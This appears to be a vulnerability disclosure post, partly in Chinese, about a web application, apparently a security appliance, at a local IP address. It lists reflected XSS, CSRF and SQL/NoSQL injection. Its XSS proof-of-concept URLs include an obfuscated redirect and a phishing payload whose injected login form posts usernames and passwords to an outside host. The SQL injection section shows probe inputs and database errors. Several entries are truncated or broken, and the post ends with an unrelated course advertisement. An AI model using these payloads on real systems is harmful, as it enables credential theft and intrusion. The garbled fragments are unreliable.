*[Multiples Vulnerabilities] *
* *
* 3 XSS (reflected) *
* 1 CSRF *
* 1 NoSQLi (Json object) *
* 1 PostGreSQL SQLi (Exploitable?) *
* 1 File and Path Disclosure *
* 1 Source code Info-leak
[*] XSS:
跨站1
https://192.168.1.50/yara/show_ya_file?name=<body onload=alert(‘XSSED’)>
利用POC：
https://192.168.1.50/yara/show_ya_file?name=<body
onload=document.location=(String.fromCharCode(104,116,116,112,58,47,47,103,111,111,103,108,101,46,99,111,109))>
或者进行钓鱼：
https://192.168.1.50/yara/show_ya_file?name=<body
onload=document.write(String.fromCharCode(60,104,116,109,108,62,60,98,111,100,121,62,60,104,101,97,1097,62,60,47,104,101,97,100,62,60,100,105,118,32,115,116,121,108,101,61,34,116,101,120,116,45,97,108,105,103,110,58,32,99,101,110,116,101,114,59,34,62,60,102,111,114,109,32,77,101,116,104,111,100,61,34,80,79,83,84,34,32,65,99,116,105,111,110,61,34,104,116,116,112,115,58,47,47,119,119,119,46,103,111,111,103,108,101,46,114,117,34,62,80,104,105,115,104,105,110,103,112,97,103,101,32,58,60,98,114,32,47,62,60,98,114,47,62,85,115,101,114,110,97,109,101,32,58,60,98,114,32,47,62,32,60,105,110,112,117,116,32,110,97,109,101,61,34,85,115,101,114,34,32,47,62,60,98,114,32,47,62,80,97,115,115,119,111,114,100,32,58,60,98,114,32,47,62,60,105,110,112,117,116,32,110,97,109,101,61,34,80,97,115,115,119,111,114,100,34,32,116,121,112,101,61,34,112,97,115,115,119,111,114,100,34,32,47,62,60,98,114,32,47,62,60,98,114,32,47,62,60,105,110,112,117,116,32,110,97,109,101,61,34,86,97,108,105,100,34,32,118,97,108,117,101,61,34,79,107,32,33,34,116,121,112,101,61,34,115,117,98,109,105,116,34,32,47,62,32,60,98,114,32,47,62,60,47,102,111,114,109,62,60,47,100,105,118,62,60,47,98,111,100,121,62,60,47,104,116,109,108,62))>
跨站2
https://192.168.1.50/network/network?new_domain=
跨站3
https://192.168.1.50/manual/csc?mode=
[*] CSRF:
1 管理员退出
https://192.168.1.50/network/network?new_domain=
2 报告删除
https://192.168.1.50/network/network?new_domain=
FROM events /**
output:
Event ID ‘9999 OR SELECT 1,2 FROM events ‘ could not be retrieved.
Couldn’t find Event with id=9999 OR SELECT 1,2 FROM events
https://192.168.1.50/event_stream/send_pcap_file?ev_id=99999999999 Output:
Event ID ‘99999999999’ could not be retrieved.
PG::Error: ERROR: value “99999999999” is out of range for type
[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课
